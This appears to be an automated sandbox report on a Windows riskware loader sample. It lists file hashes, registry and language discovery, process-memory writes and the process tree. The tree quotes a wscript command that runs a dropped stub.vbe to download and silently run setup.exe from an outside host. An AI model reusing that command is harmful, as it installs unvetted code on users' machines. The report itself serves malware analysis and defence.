Analysis
- max time kernel
149s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
15/10/2026, 22:53
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
Resource
win10v2004-20260911-en
4 signatures
150 seconds
General
- Target jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe
- Size 92KB
- Sample261015-2vb36adz71
- SHA256 be4ce895798334b05a8ef12527524adbd99295bc1be591e249bdaf6ab708337d
- MD5 3e2112d3ec8595a1e569202b8ade80f3
- SHA1 26ead95f6744148c67c333776f9d391881f0bf0c
- SHA512 3b078476605c964a51b8c9b30f59967e5f9be158b11e4a27196b435c8511e9b7f039af399bc082541746161d70cd7d2c7627b0b6ad3ec952d80bac9b8da851e3
- SSDEEP 1536:dof494T0rS1SD60feu0FKsqSL66WL+nNos0EhDzUsBlYsvtCUi:Q49tS1DMgYGi9ERI4lYAfi
- TLSH T15793AD16B5DB81B2D8822A774CD556C1CB7ED90733A62ACBD7FC091A96102D04A39BF3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 820 wscript.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wscript.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 5396 wrote to memory of 4924 5396 jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe 84 PID 4924 wrote to memory of 4824 4924 jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe 85 PID 4824 wrote to memory of 820 4824 jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5396 -
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exeC:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe 2245419583552⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exeC:\Users\Admin\AppData\Local\Temp\jaffacakes118_not-a-virus.RiskTool.VBS.LoadExec.a.exe -bkg 2245419583553⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\SysWOW64\wscript.exewscript /B "C:\Users\Admin\AppData\Local\Temp\stbC436.tmp\stub.vbe" "http://upgrade.bathitbox.com/install.aspx?b=questbasic" "C:\Users\Admin\AppData\Local\Temp\stbC435.tmp\setup.exe" ""C:\Users\Admin\AppData\Local\Temp\stbC435.tmp\setup.exe" -i fc685b32d5cb49c3a877316d4ec2410f -p QstbscWD /S" "http://upgrade.bathitbox.com/?vn=0&xqwx7=90&rea=9999&pno19=89&cid=fc685b32d5cb49c3a877316d4ec2410f&ba37=350&b=questbasic&wjxw65=155&ptag=QstbscWD&zh9=283&av=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0&ze14=051&product=0&bpbg21=3427&as=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0" 0 14⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:820
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\stbC436.tmp\stub.vbe
- Size 5KB
- SHA256 afffaff461612877e76f9958332359902d74d8cfef9411bf9f2f953c0154a6d3
- MD5 705a4fcd09676bf06efdd01518a53213
- SHA1 373734b929e432cd27337e63801ab8286157ad1d
- SHA512 94b1f22e07e975637a709cf817937429c4ca91dadf2ceed9a16e3bfec984422d6672434d33cbfe51ed0791feebeab7b506471f43fcdcdee654f299aaca39cf4a
- SSDEEP 96:u0GlIEIkhDLmQHYTYsFz9ENF52GrNhfKIvAvPdBFHZ4scKkxOpJG7lYc0r4RXcoT:9G2WDjEzEVNp+BF5eeG752aZuFk
- TLSH T1E0C1626540302304D9BDCB54199BE627B83D5DB914911C14A4CFFADEB3F73A83A862EB
- MD5 SHA1 SHA512 SSDEEP TLSH